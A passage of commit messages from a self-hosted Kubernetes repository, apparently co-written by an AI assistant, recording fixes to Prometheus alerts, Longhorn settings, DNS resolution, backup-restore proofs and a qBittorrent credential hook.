saturation, write/read service time, NFS retransmissions, our own NFS op rate,
the etcd slow-request fraction and per-container PSI side by side. runbooks/node-io.md
gains a 10-row triage table with the real healthy / 2026-09-14 / 2026-09-07 columns,
which turns those eight queries into a two-minute read.
etcd and NFS metric availability, verified on prod rather than assumed:
* etcd SERVER disk metrics do NOT exist. etcd_disk_wal_fsync_duration_seconds and
etcd_disk_backend_commit_duration_seconds are absent (kubeEtcd disabled for k3s);
a query for etcd_disk_*/etcd_server_*/etcd_mvcc_* returns nothing at all.
NodeEtcdRequestsSlow uses the apiserver's client-side view of its own local
member instead, and says in its own description that it is a proxy.
* node_nfs_* DOES exist — the nfs collector is on by default, host-wide via
/proc/net/rpc/nfs, confirmed on all three nodes. It gives op counts and
retransmissions and NO latency, so it can see a dropping export but not a slow
one. The mountstats collector is enabled here to close that gap; NO rule
references node_mountstats_* yet, because the series do not exist until the
HelmRelease rolls out and the collector's visibility through the node-exporter
mount namespace must be verified on prod first. The runbook records the check
and says to revert if it comes back empty.
Proof, per the repo's two shipped alerting failure modes:
* platform/monitoring/tests/node-io-cause.test.yaml — 7 fixtures, all from
measured profiles: healthy (all 8 quiet), 2026-09-14 (NotLocalDisk fires and
names sonarr), 2026-09-07 re-queried at offset 164h (write-latency and etcd
fire, NotLocalDisk correctly silent), rebuild storm, NFS transport, read
latency, and the `unless` semantics.
* 10 mutations of the shipped rules, all killed. The mutation run found a real
gap: the etcd threshold could be changed without failing any test, because it
was only pinned by a promql_expr_test that restated the threshold in the test
file. An alert_rule_test now pins it.
* All 11 referenced metrics verified to return series on prod with
`promtool query instant`, and all 8 expressions verified quiet on today's state.
Also extends the alert-metrics-have-scrape-targets owner table for container_*
(the kubelet ServiceMonitor's cAdvisor path, which this entry already claimed in
its title) and for etcd_request_duration_seconds_* by EXACT NAME, deliberately not
by an etcd_ prefix, so a future rule on the unscraped etcd_disk_* names still fails
the gate.
Co-Authored-By: Claude Opus 5 <[email protected]>
Records three owner decisions and the finding that makes the third tractable.
The /downloads malware stays: the Proxmox-hosted stack still has operational
control of those files so deletion just triggers a re-download, nothing but the
arr suite touches the directory, and there are no Windows machines anywhere —
which removes the exposure I was concerned about. Written down so nobody
'discovers' and deletes them later.
Anti-affinity for the co-located NFS pods declined; the concentration is
accepted rather than overlooked.
And the enabling finding: there are NO NFS metrics in the TSDB at all —
node-exporter's nfs and mountstats collectors are off by default. A cluster
with four NFS mounts carrying the media library and legacy Nextcloud data has
zero NFS visibility, while PSI counts NFS stalls as I/O stalls. That is
precisely why a 20.98% stall alongside idle local disks could not be explained.
Co-Authored-By: Claude Opus 5 <[email protected]>
NodeIOPressureCritical fired on prod-1 (peak 20.98% PSI, recovered
unattended) — the first time this alert has fired on prod, and only because
the scrape gap was closed yesterday.
Evidence rules out the 2026-09-07 drive repeat: 3.5 MB/s of writes, device
utilisation 0.09-0.21, write latency 1.4-4.8 ms, zero NFS retransmissions,
21.4 MB/s NFS throughput, no degraded Longhorn volumes, and KSM never observed
NotReady. A 21% stall on trivial volume with healthy latency is transient
blocking I/O, not hardware — and PSI counts NFS too.
Structural finding: sonarr, qbittorrent and jackett all run on prod-1, the
node with the I/O history. Same concentration class as the CNPG primaries.
Separately, the /downloads files are confirmed malware: two PE executables
('MZ') sharing one MD5, padded to ~926 MB and named as two different shows,
plus a ZIP masquerading as video. Not executed, cluster not compromised; the
risk is a Windows client opening them.
Co-Authored-By: Claude Opus 5 <[email protected]>
I wrote that pfSense was stripping the RFC1918 answers. The operator corrected
it, and this repo already documented the topology I failed to read:
192.168.2.0/24 is pfSense's WAN (clusters/prod/kustomization.yaml:458,
cluster-vars.yaml:190, DECISIONS-LOG 1772), pfSense lives on 192.168.1.0/24,
and 192.168.2.1 was already recorded here as 'both gateway and only IPv4
resolver' and flagged as a SPOF (entries 1318, 1468).
The measurement is unchanged — that resolver returns NOERROR/ANSWER:0 for this
zone while resolving cloudflare.com — but the attribution invalidated my
preferred fix: configuring pfSense cannot help, because prod's resolver path
never reaches it.
Fixes reordered accordingly. Exposing Pi-hole's DNS to the LAN is now first: it
is the architecture the repo already claims, it does not depend on a consumer
router's feature set, and it retires the single-resolver SPOF this log flagged
months ago. Configuring the SOHO router drops to second, since many such
devices cannot express a domain override and it is outside GitOps regardless.
Co-Authored-By: Claude Opus 5 <[email protected]>
The workstation could not reach sonarr.home.keithjackson.dev. The stale
dnsmasq override pinning the zone to dev's dead 192.168.2.50 was the obvious
cause, but removing it — which is what I was about to recommend — would not
have fixed it: pfSense returns NOERROR/ANSWER:0 for this zone while resolving
cloudflare.com fine, the signature of private-address rebind filtering, since
the zone legitimately points at RFC1918 space.
The underlying gap: coredns-custom.yaml defers LAN clients to 'PiHole
split-horizon', but Pi-hole's Service is ClusterIP with ports 80/4180 — it
serves no DNS at all. So the LAN half of split-horizon does not exist and each
client silently depends on a hand-maintained file.
Records the corrected override (staged for the operator's sudo) and the three
proper fixes, none applied.
Co-Authored-By: Claude Opus 5 <[email protected]>
R-STATE-03 reads proven in --status as of 2026-09-14, the first requirement in
this repo to reach that state, with both verifiers recorded on prod.
Also states why the earlier PROVEN: 0 was the honest answer rather than a bug:
a proof is a claim about a specific tree on a specific cluster, so coverage
(51/51) and proof are two different questions.
Co-Authored-By: Claude Opus 5 <[email protected]>
A requirement reads PROVEN only when EVERY verifying test has a fresh ledger
row — the state is the minimum across them, so a test with no row contributes
not-derivable and one recorded verifier cannot manufacture green.
R-STATE-03 carries two executable verifiers (L0 + L3). The L3 dr-restore proof
landed in bd17b65; this records the L0 side, placeholder-guard-coupling, which
also carries R-ENV-02. Worth noting it is the test that was permanently
SKIPPED until earlier today — it was hiding a red, and now it runs and is
recorded.
Co-Authored-By: Claude Opus 5 <[email protected]>
Phase 7's outstanding exit criterion. The only previous dr-restore proof was
recorded on the dev cluster (decommissioned 2026-09-12) against MinIO, so it
could not speak for prod or for today's Cloudflare R2 target.
Run 20260914T021505Z-24b8111, env=prod, kube v1.36.4+k3s1, chainsaw v0.2.12,
150.70s, 1 passed / 0 failed / 0 skipped. Sentinel
DR_RESTORED_FROM_OFF_CLUSTER_BACKUP_OK.
What makes it a real proof rather than a green check: the test seeds a canary
on the replicated longhorn class, backs the namespace AND volume data up to
the off-cluster store, then DESTROYS every in-cluster copy — namespace, PVC
and PV — before restoring into a clean, previously-nonexistent namespace. It
asserts the restored PVC binds a DIFFERENT PersistentVolume
(pvc-f0c061e1 != pvc-4107d59d) and fails explicitly if it rebinds the
original, because that would be an in-cluster survival masquerading as a
restore. The canary came back byte-identical.
It touches no real service's namespace, PVC or PV — the scratch namespaces are
named after its own Chainsaw namespace and are destroyed by design.
This is the run whose first attempt was discarded for recording env=dev; the
recorder fix is 24b8111, which this proof is recorded against.
Co-Authored-By: Claude Opus 5 <[email protected]>
record_run.py defaulted --env to the literal 'dev'
(os.environ.get("CONF_ENV", "dev")) and run.sh hardcoded the same fallback
at both call sites, while CONF_ENV is set nowhere in this repo. So every
recorded proof claimed dev no matter which cluster it ran against.
Harmless while dev was the only cluster. Dev was decommissioned 2026-09-12,
and today a genuine DR-restore run against k3s-prod was recorded as
env=dev — caught before it was committed, and the record discarded rather
than hand-edited. A proof that lies about WHERE it was proven is worse than
no proof, because locating the demonstration is the ledger's whole job; it
would also have looked like a sixth dev-only row while actually being the
prod proof Phase 7 is waiting on.
env is now derived from k3s-prod (k3s-prod -> prod),
which cannot drift from the cluster the run actually talked to. An
undeterminable context records 'unknown', never a cluster name, and an
unexpected context is recorded verbatim so it is visible rather than coerced.
CONF_ENV still overrides. Recorder selftest passes.
Co-Authored-By: Claude Opus 5 <[email protected]>
The Status section still said phases 0-6 were deployed on the DEV cluster and
that Phase 7 was not open with clusters/prod 'a design-only overlay'. Dev was
decommissioned on 2026-09-12 and prod has been the live cluster serving the
apex since. It also claimed 36/51 requirements covered with a safety-critical
gap, and that Velero was blocked on OQ-BKP.
Now states Phase 7 as open with its three exit criteria and which one is
actually outstanding; corrects the node inventory from the Proxmox dev IPs to
the bare-metal prod nodes; records Velero as unblocked to R2; and adds the
distinction the old text elided — coverage (51/51) is not proof (PROVEN: 0),
because the only dr-restore and node-loss proofs were recorded on a cluster
that no longer exists, against MinIO rather than R2.
Also records the owner's decision that Velero+kopia to R2 is the accepted
volume backup, with no Longhorn backup target, and that Longhorn config
belongs in source.
Co-Authored-By: Claude Opus 5 <[email protected]>
runbooks/longhorn-degraded.md asserted concurrentVolumeBackupRestorePerNode-
Limit and snapshotHeavyTaskConcurrentLimit were tightened 5 -> 1 after the
2026-09-07 etcd I/O starvation. Both read 5 on prod and neither name existed
anywhere in the repo. Now declared in the helmrelease defaultSettings, the
path Flux actually reconciles.
Both go to 1 rather than 2, and the cost is smaller than I assumed: velero's
schedules run defaultVolumesToFsBackup, i.e. kopia through the node-agent, so
they are not Longhorn volume backups and this setting does not bind them;
CNPG's base backups are barman-level; and Longhorn has no backup target
configured at all. Purge work comes from rebuild cleanup, which is already
serialised to 1/node, so 1 keeps pace with its own generator while 2 would add
a second heavy writer during exactly the rebuild that starved etcd.
Also declares nodeDrainPolicy, which was only ever Longhorn's own default —
present in no manifest and no rendered ConfigMap, so an upstream default
change would have moved it silently while two runbooks reason about drain
safety from it. Value unchanged.
The Ansible etcd_io_priority role is deliberately NOT ported. The pathological
drive it was written for has been replaced (I/O PSI 11.36 -> 3.79 under the
same load class), the role was never run against any cluster, and its own
README concedes it cannot separate the tenants because they share one ext4
filesystem. Swapping the elevator and halving nr_requests on the live device
holding etcd's WAL is a node-wide blast radius for a low ceiling. Kept as a
named operator option; the real fix remains giving etcd its own device.
Removes orphanAutoDeletion, re-verified present-and-inert two ways: helm
template emits no orphan key for it, and the live setting is NotFound.
`runbooks/longhorn-degraded.md` told operators that, after the 2026-09-07 etcd
I/O-starvation incident, `concurrentVolumeBackupRestorePerNodeLimit` and
`snapshotHeavyTaskConcurrentLimit` had been tightened 5 -> 1. Measured live on
prod today: both read **5**, and neither name appeared anywhere in this
repository — so nothing declared them and nothing would have restored them.
Fourth instance of config that looked applied and was not.
Landed in `platform/longhorn/helmrelease.yaml` `defaultSettings` (the path Flux
reconciles; `values.yaml` is the reference mirror), NOT by `kubectl patch` —
a hand-applied Setting is exactly how this gap arose and Helm would silently
rewrite it on its next upgrade.
concurrentVolumeBackupRestorePerNodeLimit 5 -> 1
snapshotHeavyTaskConcurrentLimit 5 -> 1
replicaReplenishmentWaitInterval 600 PINNED, unchanged
backupConcurrentLimit / restoreConcurrentLimit 2 / 2 PINNED, unchanged
concurrentAutomaticEngineUpgradePerNodeLimit 0 PINNED, unchanged
nodeDrainPolicy block-if-contains-last-replica PINNED — it was in
force only as Longhorn's OWN DEFAULT, declared in no manifest and in no
rendered ConfigMap, so an upstream default change would have moved it
silently while two runbooks reasoned about drain safety from it.
EVERY KEY PROVEN TO LAND, not assumed. `helm template longhorn/longhorn
--version 1.12.1` (the version this chart range resolves to, per the
HelmRelease's own lastAttemptedRevision) on this branch's spec.values,
substituted as clusters/prod substitutes them, emits all eight into the rendered
`longhorn-default-setting` ConfigMap in kebab-case. Diffed against the LIVE
ConfigMap the change is purely ADDITIVE: 8 keys added, none altered, none lost.
The chain to the Settings is verified read-only on prod — all 115
settings.longhorn.io carry `longhorn.io/configmap-resource-version: 7917`
(= that ConfigMap's resourceVersion) with `status.applied: true`, and every key
in the ConfigMap equals its Setting's value. The two targets sit at 5 with the
key absent, i.e. Longhorn defaults, as measured.
`orphanAutoDeletion: true` REMOVED, verified inert two independent ways against
the deployed 1.12.1: the render emits no orphan key at all (Longhorn 1.9 renamed
it `orphanResourceAutoDeletion`, a list, and the chart drops unknown
defaultSettings keys with no error), and live, `setting/orphan-auto-deletion` is
NotFound while `orphan-resource-auto-deletion` reads "". Deliberately NOT
replaced — orphan deletion is extra writes on the constrained partition and buys
only space. Orphan cleanup stays manual by decision; the two runbooks that cite
the key by name are corrected rather than left to go stale.
BOTH NEW CAPS ARE 1, AND 1 COSTS SOMETHING — stated, not waved at.
`concurrentVolumeBackupRestorePerNodeLimit: 1` costs nothing TODAY: Longhorn has
no backup target (the `backup-target` Setting does not exist; still the
WS-STORAGE Phase-4 TODO), and velero's nightly run is not a Longhorn backup —
`snapshotVolumes: false` + `defaultVolumesToFsBackup: true` is kopia
file-system backup through velero's node-agent, which this Setting does not
gate; CNPG base backups are barman-level and ungated too. Its only consumer is
an R-STATE-03 restore, where serialising ~24 volumes beats losing etcd
mid-restore. Revisit when a Longhorn backup target lands.
`snapshotHeavyTaskConcurrentLimit: 1` rather than 2 because purge work is
generated by rebuild cleanup (auto-cleanup-system-generated-snapshot true, NO
RecurringJobs, 24 volumes / 24 snapshots) and rebuild is already serialised to
1 per node — so 1 keeps pace with its own generator, where 2 buys backlog drain
at the price of a second heavy writer during the exact rebuild that starved
etcd. The cost: space reclaims serially after a rebuild storm — real here (a
37.7 GiB snapshot once pinned a volume at 97.3% allocated), but instrumented by
LonghornDiskAllocationHigh and recoverable by hand, where a wedged etcd is not.
Headroom on the record: I/O PSI full is 0.30/0.62/0.37 % now, and 3.79 under a
full 18-replica rebuild after node 1's drive replacement, against a 5% warning
threshold. These caps are a BOUND, not a fix — etcd and Longhorn still share one
ext4 filesystem and nothing arbitrates the jbd2 journal fdatasync waits on.
NOT PORTED, deliberately: the same unmerged branch's node-level I/O arbitration
(`roles/etcd_io_priority` — BFQ on the shared device, nr_requests 64 -> 32,
systemd IOWeight drop-ins). The 2011 C400 it was written for was replaced on
2026-09-07 and the same load class measured 11.36 -> 3.79 I/O PSI with the node
Ready throughout; the role was never run against any cluster, its author
recorded it as unproven with a node-3-first sequenced rollout, and its own
README concedes it does not separate the two tenants. Node-wide blast radius,
low ceiling, stale measurements (node 1 reinstalled, founder moved to node 2).
It stays an operator option if I/O PSI climbs back toward 5% — which, unlike in
September, we would now be told about. Nothing under infra/ansible/ is touched.
ALSO ALREADY DONE, so skipped: that branch's NodeIOPressureHigh/Critical and the
dashboard I/O row are on main already (efc6db6) with runbooks/node-io.md.
Verified live, not by reading the file: both rules loaded in
platform-health.nodes, health ok, state inactive, and
ALERTS{alertname=~"NodeIOPressure.*"} returns no samples.
Runbooks corrected in both directions: longhorn-degraded.md's prominent "DO NOT
RELY ON THAT: it was never applied" block becomes an accurate statement of what
is now declared, what to verify before trusting it, what it cannot do, and what
it costs; longhorn-capacity.md / node-disk.md stop citing a key that no longer
exists; node-io.md gains the one line an operator needs mid-incident.
No new ${...} substitution variables and not one dollar sign added anywhere in
the diff, so neither StrictPostBuildSubstitutions nor the L0 doubled-dollar guard
is affected.
Co-Authored-By: Claude Opus 5 <[email protected]>
Two things found while reviewing the Longhorn alert work.
Prometheus retentionSize was 45GiB of a 50Gi PVC, under a comment already
naming the right intent — 'headroom for WAL + head + compaction scratch'.
5 GiB is not that: retentionSize counts only persisted blocks, and a large
compaction can need roughly the size of the blocks being merged. ENOSPC on
/prometheus wedges every WAL commit, so scrapes keep succeeding while nothing
is stored and every absent()/==0 alert fires falsely at once. Lowered to
36GiB, which costs no history: the TSDB is 11.2 GiB at 30d, so 30d remains
the binding limit.
runbooks/longhorn-degraded.md asserted that concurrentVolumeBackupRestore-
PerNodeLimit and snapshotHeavyTaskConcurrentLimit 'was actually tightened
5 -> 1'. Both read 5 on prod and neither name appears anywhere in this repo —
the work is on the unmerged fix/etcd-io-priority branch. The page is read
during etcd I/O starvation on a node whose WAL shares a device with Longhorn,
so it was telling an operator mid-incident that the cap they depend on is in
place when it is not. Corrected, with the two mitigations that ARE real named
and a command to verify any of them.
Co-Authored-By: Claude Opus 5 <[email protected]>
(1) LonghornVolumeCapacityHigh alarmed on ALLOCATION while calling itself a
capacity alarm. Prometheus's TSDB volume read 0.973 while the kubelet saw the
same filesystem at 0.208, because 37.73 GiB of it is a Longhorn SYSTEM
snapshot — the kind taken for the full replica rebuild that prod-1's drive
replacement forced — growing +152 MB/h while the filesystem stayed flat. The
rule was therefore unclearable by design, i.e. permanently firing. Deleted as
redundant, shown rather than asserted: 23 of 24 volumes fall under the
kubelet-based filling rules, and the 24th is volumeMode Block, which the
deleted rule was not covering either.
(2) LonghornVolumeDegraded and LonghornVolumeFaulted could not fire even with
the scrape working. longhorn_volume_robustness on 1.12.1 is ONE-HOT over a
state label with values 0/1, not the 0-3 enum the rules and their comment
assumed, so a faulted volume would have alerted nobody. This survived the
scrape fix landing hours earlier.
(3) LonghornNodeStorageHigh was wrong twice: its 0.85 threshold sat above the
75% at which storage-minimal-available-percentage=25 already removes a disk
from the scheduling pool, and longhorn_node_storage_usage_bytes SUMS a node's
disks, so one full disk hid behind a half-empty sibling. Replaced with
per-disk LonghornDiskAllocationHigh (>0.70) and LonghornDiskUnschedulable,
the latter reading Longhorn's own verdict instead of re-deriving a formula
from three settings no metric exports.
Baseline green with 11/11 mutations red. retentionSize 45GiB of 50Gi and
discard/TRIM are both REPORTED with recommendations, not changed: TRIM would
not have helped here, since remove-snapshots-during-filesystem-trim is false
and the 37.7 GiB is a snapshot.
# Conflicts:
# DECISIONS-LOG.md
LonghornVolumeCapacityHigh went pending within minutes of the Longhorn scrape
landing today. Re-measured on prod: it read 0.9731 on the Prometheus TSDB volume
(actual_size 52243681280 / capacity 53687091200) while the kubelet reported the
SAME filesystem 20.8% used. actual_size is head + pinned snapshots, and one
user_created=false system snapshot from prod-1's replica rebuild holds 40510484480
bytes (37.7 GiB) of it; Longhorn returns no freed blocks without discard/TRIM, and
retentionSize 45GiB on a 50Gi volume targets 90% by design. The ratio is pinned
near 1.0 and cannot fall back under 0.85 — a permanently-firing alert, the same
shape as CNPGNoRecoverabilityPoint.
DELETED, not re-thresholded. Raising the threshold would tune away a true
statement about allocation. Redundancy proven, not asserted: of 24 Longhorn
volumes on prod, 23 appear in kubelet_volume_stats_inodes > 0 and so fall inside
MonitoringVolumeFillingUp (namespace="monitoring") or PersistentVolumeFillingUp /
PersistentVolumeAlmostFull. The 24th is unifi/unifi-rootdisk, volumeMode Block —
no filesystem for anyone to measure, and the deleted rule was not covering it
either.
AND A SECOND INERTNESS the scrape did not fix. longhorn_volume_robustness on
longhorn 1.12.1 is one-hot over a `state` label with values 0/1, not the 0-3 enum
the rules assumed:
count(longhorn_volume_robustness) => 96 (24 volumes x 4 states)
count by (state) (longhorn_volume_robustness == 1) => {state="healthy"} 24
count(longhorn_volume_robustness == 2) => (empty)
count(longhorn_volume_robustness == 3) => (empty)
So a FAULTED volume would still have alerted nobody. Re-keyed to the label; the
"44 series / 72 unknown(0, detached)" note in platform/longhorn/helmrelease.yaml
was the same misreading and is corrected in place.
The allocation question moved to where allocation is a budget. LonghornNodeStorageHigh
fired at 0.85, but storage-minimal-available-percentage is 25 on this cluster, so a
disk leaves the scheduling pool at 75% used — the old threshold could only fire
after scheduling had already been refused. Replaced by:
LonghornDiskAllocationHigh (longhorn_disk_usage_bytes / longhorn_disk_capacity_bytes) > 0.70, 30m
LonghornDiskUnschedulable longhorn_disk_status{condition="schedulable"} == 0, 15m
Per DISK, not per node: longhorn_node_storage_usage_bytes sums a node's disks, so
one full disk could hide behind a half-empty sibling. Measured prod usage
0.2254 / 0.2306 / 0.2369 on prod-1/2/3.
PROVEN NEITHER PERMANENTLY FIRING NOR INERT. platform/monitoring/tests/longhorn.test.yaml
adds 6 cases pinning every rule quiet on today's measured prod state and firing on
a constructed bad state, with every `for:` asserted, plus regression assertions that
the old `== 2`/`== 3` forms match nothing and that per-disk 0.72 is visible where the
node-summed 0.475 is not. Mutation-checked 11 ways; each turns the suite RED. Live on
prod: all four new expressions return empty, while the sum of their selector
cardinalities is 54. The L0 UNTESTED_ALERTS register shrinks by seven (7/56 -> 14/58
alert rules unit-tested), which also brings MonitoringVolumeFillingUp,
PersistentVolumeFillingUp and PersistentVolumeAlmostFull under test since the
redundancy claim rests on them.
REPORTED, NOT CHANGED (DECISIONS-LOG, owner decisions): retentionSize 45GiB on a
50Gi volume is too tight — recommend 36GiB, with reasoning; and discard/TRIM on the
longhorn StorageClass is feasible but not advisable now — remove-snapshots-during-
filesystem-trim reads false on prod, so trim would not have reclaimed the 37.7 GiB
anyway, and continuous discard on nodes where the etcd WAL shares the spindle points
at this cluster's known failure mode.
Co-Authored-By: Claude Opus 5 <[email protected]>
Each <app>-down rule read up{job=...} from a ServiceMonitor selecting a
Service port named 'metrics' that no app Service defined, so every one
discovered zero targets. PrometheusTargetsMissing could not see it either: a
target never discovered has no up series to be 0.
The port name was only the first of THREE layers. None of the twelve apps
serves Prometheus metrics natively at all — Plex, qBittorrent, the arrs,
Jackett, Pi-hole, Seerr, Semaphore and Nextcloud would each need an exporter,
and Gitea needs an app.ini flag. And every app namespace ships default-deny
ingress with no monitoring allow, so a correct port would still have been
dropped by policy — while renderer-contract.md claimed a baseline allow that
never existed.
Fixed in catalog/render.py (schema 1.6.0) rather than in twelve rendered
files: slis: [up] now renders <app>-down against kube-state-metrics
readiness, with an 'or absent(...)' half so the signal VANISHING fires
instead of silencing. The twelve dead ServiceMonitors are gone; a new
observability.metricsEndpoint renders the Service port, the monitor endpoint
and the scrape allow together, so the three cannot disagree again.
Deletion was rejected with evidence: kube-prometheus-stack's generic
kubernetes-apps rules are live, but they are namespace-keyed warnings, not
the per-service critical SLI R-OBS-01 asks for.
Two incidental finds: keycloak's rendered monitor was a duplicate pointing at
the wrong port, and platform/monitoring/tests/run.sh discovered test suites
only inside its own directory while documenting the convention as general —
so a suite added anywhere else was never run and still looked like coverage.
Twelve `<app>-down` SLI rules were STRUCTURALLY INERT. Each read `up{job="<app>"} == 0`,
and the ServiceMonitor rendered beside it named `endpoints[].port: metrics` — a port NO
rendered app Service defined. Every monitor discovered ZERO targets, so no `up{job="<app>"}`
series existed and the rule could not fire. Verified on prod before this change:
`count by (job) (up)` listed 24 jobs and not one of the twelve appeared; `up{job="plex"}`
and `up{job="gitea"}` both returned nothing. `PrometheusTargetsMissing` could not see it
either — a target that was never discovered has no `up` series to be 0.
THE PORT NAME WAS NEVER THE MISSING PIECE. Ground truth per app: Plex, Pi-hole, Jackett,
qBittorrent, Sonarr, Radarr, Seerr, Semaphore and Nextcloud export NO Prometheus metrics
without a separate exporter sidecar; Gitea can but only with app.ini metrics enabled;
Keycloak does, on the operator's management port, already scraped by
platform/keycloak/servicemonitor.yaml; vm-demo is a KubeVirt VM with no Service at all, so
its monitor selected nothing whatsoever. `metrics: true` was asserting a fact none of them
had. There was also a THIRD layer of inertness nobody had hit yet: every app namespace ships
default-deny with `ingress: []` and the renderer emitted no monitoring allow, so even a
correct port would have been dropped by policy — while renderer-contract.md claimed the
baseline carried such an allow.
FIXED IN THE GENERATOR, not in twelve rendered files:
* `slis: [up]` now renders a `<app>-down` alert against kube-state-metrics readiness of the
service's own workload object —
`kube_deployment_status_replicas_available{namespace,deployment} == 0 or absent(...)`,
`kube_statefulset_status_replicas_ready` for a StatefulSet, and
`absent(kubevirt_vmi_info{namespace,name,phase="running"})` for a VM. The same idiom
KeycloakDown has used since it was fixed. kube-state-metrics IS scraped, so this needs no
exporter and no new target. The `or absent(...)` half is load-bearing: the signal
DISAPPEARING now fires the alert instead of silencing it.
* schema 1.6.0 adds `observability.metricsEndpoint` — WHERE metrics are served. A
ServiceMonitor is rendered ONLY from it, and it renders all three halves of a working
scrape together: the named Service port, the monitor endpoint, and the
monitoring-namespace CiliumNetworkPolicy allow. No catalog entry declares one, so twelve
dead ServiceMonitors are gone. `metrics: true` keeps meaning logs-to-Loki plus
kube-state-metrics liveness.
* schema 1.6.0 also adds `observability.livenessWorkload`, and catalog/keycloak.yaml uses
it. Keycloak's server is a StatefulSet run by the operator; the default Deployment shape
would have made its `absent()` half fire FOREVER — the other failure mode this repo has
shipped.
* renderer selftest gains cases 9/9a/9b/9c: no metricsEndpoint => no monitor; the up SLI
must not read `up{job=...}`; endpoint port must exist on the Service; the metrics port
must NOT reach the Gateway allow; an unknown livenessWorkload.kind is REFUSED.
PROOF, both directions, for all twelve (apps/wave-{0,1,2}/tests/app-slis.test.yaml, run by
platform/monitoring/tests/run.sh over the RENDERED manifests):
* quiet on the healthy state; firing on no-ready-replica; firing when the series is ABSENT;
the VM asserted both gone and in a non-running phase; per-app isolation asserted, and
keycloak asserted un-maskable by its neighbours (keycloak-operator Deployment,
keycloak-db StatefulSet ready in the same namespace).
* mutation-checked: six mutations, each turning its suite red — reverting plex to
`up{job=...} == 0`; dropping seerr's `absent()` half; pointing keycloak at a Deployment;
capitalising the VMI phase to `Running`; widening keycloak's matcher to the namespace;
inverting plex's `== 0` to `!= 0`. Control run green.
* live on prod with `promtool query instant`: all ten deployed app Deployments export
`kube_deployment_status_replicas_available`,
`kube_statefulset_status_replicas_ready{namespace="keycloak",statefulset="keycloak"}` = 2,
`kubevirt_vmi_info` present with a lowercase `phase="running"`; and evaluating the twelve
SHIPPED expressions returns no series for eleven (quiet, not permanently firing). The
twelfth is vm-demo, which is not in apps/wave-0/kustomization.yaml and so is not deployed
— its rule is not applied either.
DELETION WAS NOT THE ANSWER, and the evidence is recorded rather than assumed:
kube-prometheus-stack's `kubernetes-apps` group IS live on prod (17 rules, KubePodNotReady /
KubeDeploymentReplicasMismatch among them), so app pods are not unmonitored — but that is a
generic warning keyed to a namespace, not the per-service CRITICAL SLI R-OBS-01 declares.
platform/monitoring/alerts.yaml carries no generic app-readiness rule at all.
GUARD SO IT CANNOT RECUR SILENTLY: new whole-repo L0 invariant
conformance/tests/l0-static/servicemonitor-ports-resolve. It walks the MONITORS, not the
alerts, so it needs no `up{job=...}` rule to reach one, and resolves each endpoint by SELECTOR
across the whole tree rather than by same-file adjacency. Fixing the alerts DELETED the only
thing that made the broken monitors visible to the sibling check, which is exactly why this
axis needed its own home. It declares `conformance.home.k3s/scope: whole-repo` and adds no
ci/l0.sh stage. Proven to FAIL on the pre-fix tree: 15 failures — eleven port disagreements,
vm-demo's monitor matching no Service at all, and the three generator/contract assertions —
and to pass after. Its resolver is additionally proven on in-check fixtures (agreeing pair
accepted, disagreeing pair rejected, target-less endpoint rejected), because after the fix
there are zero in-repo monitors left for it to judge and a guard whose only evidence is
"nothing failed" cannot be told apart from one that stopped working. It also asserts
r_servicemonitor does not HARDCODE a port name — the mechanism by which one edit gave twelve
services the same wrong one.
Also fixed, found on the way:
* platform/monitoring/tests/run.sh discovered the SUITE convention only inside
platform/monitoring/tests/ while documenting it as general — a suite added anywhere else
was never run and still looked like coverage. Now discovered tree-wide; a misplaced
*.test.yaml fails loudly instead of vanishing.
* KNOWN_UNWIRED_JOBS in alert-metrics-have-scrape-targets is now EMPTY, and the twelve
apps/* entries in alert-rules-unit-tested's UNTESTED_FILES are gone — both because the
gaps were CLOSED, not waived. Both registers are shrink-only and a stale entry fails.
* renderer-contract.md claimed the default-deny baseline carried a standing monitoring
scrape allow. It never did; the claim is corrected and the allow is now real, per declared
metrics endpoint and scoped to that one port.
Co-Authored-By: Claude Opus 5 <[email protected]>
The new flux-postbuild-substitution guard failed the merge on
apps/wave-0/qbittorrent.yaml:155 — a run of two dollars in a substituted
path that nothing justifies. It was inside the postStart hook's own comment
EXPLAINING the hazard: prose about what envsubst does to a doubled dollar,
written with a literal doubled dollar.
Functionally harmless — it is a bash comment, and collapsing it changes no
behaviour — but the guard cannot distinguish a comment from content that
reaches the workload, and it is right not to try: that is precisely how the
nextcloud-db break slipped through. Reworded in words instead.
Worth recording that this is the second time today the same trap caught an
explanation of itself: my own fix for the nextcloud-db incident (16b7fcd)
also shipped dollars inside the comment describing the danger, and I only
caught it because I re-read the file. This time the guard caught it, on work
merged minutes earlier — which is the guard earning its place.
Re-rendered so the golden matches the catalog.
Co-Authored-By: Claude Opus 5 <[email protected]>
R-C2-01 and R-C2-02 were the last two uncovered requirements (49/51). Now
100% with 0 gaps, via an offline L0 check (49 assertions) that compares two
repository facts: every home-zone hostname the repo routes over HTTP must be
linked from the apex dashboard, and every link the dashboard offers must
resolve to something the repo actually serves at L7 or L4.
'A service the root hid' was still a live defect: crafty.${BASE_DOMAIN} was
served and reconciled while nothing on the root linked to it. Committed RED
first so the history shows the check catching it, then fixed.
Also fixes a regex that could never have worked: ci/touched-requirements.sh
matched R-[A-Z]+-[0-9]+, where [A-Z]+ eats the C of R-C2-01 and then demands
a dash where the 2 is — so a manifest declaring either ID attributed nothing.
Every other consumer already used [A-Z0-9]+.
16 mutations proven caught. R-TLS-02's drafted amendment is recovered into
DECISIONS-LOG: revocation is not implementable with cert-manager, and the
choice between amending the requirement and a reviewed DOCUMENTED_GAPS entry
is the owner's.
# Conflicts:
# DECISIONS-LOG.md
qBittorrent 5.x minted a new temporary admin password on every process
start, so the Sonarr/Radarr download clients broke on the next restart — and
had already broken: both reported isValid: false, Authentication Failure.
A SOPS secret is now the single source of truth and a postStart hook derives
qBittorrent's stored PBKDF2 form on every container start, then logs in to
prove it. The hook rather than a CronJob because the failure IS a container
start: qbittorrent-nox reads the credential once at start from an RWO PVC the
app holds, so a 15-minute cron leaves a window after every restart where both
arrs are broken. An initContainer cannot do the ground-truth login.
Proven: testall flipped false -> true on both arrs, and survived a real pod
deletion and recreation with the conf still holding both keys.
Two bugs found in the inherited work, both the envsubst trap again: a
doubled-dollar port expansion that bash read as its own PID, which made the
hook report 'the WebUI rejected the credential' three times without ever
asking it anything; and one shared wait budget that let the first attempt
burn all 90s. Also caught that the SOPS file was never listed in
apps/wave-0/kustomization.yaml, so Flux would never have applied it — the
live Secret was not going to be adopted at all.
Working set measured at 111 MiB with a 6h peak of 123.3 MiB against a 128Mi
limit, so it died on every spike — exit 137, roughly every 11 minutes, 91
restarts in 16h.
The consequence is worse than the restarts. Thirteen alert rules read kube_*
series, so each kill made them intermittently unable to fire, which is the
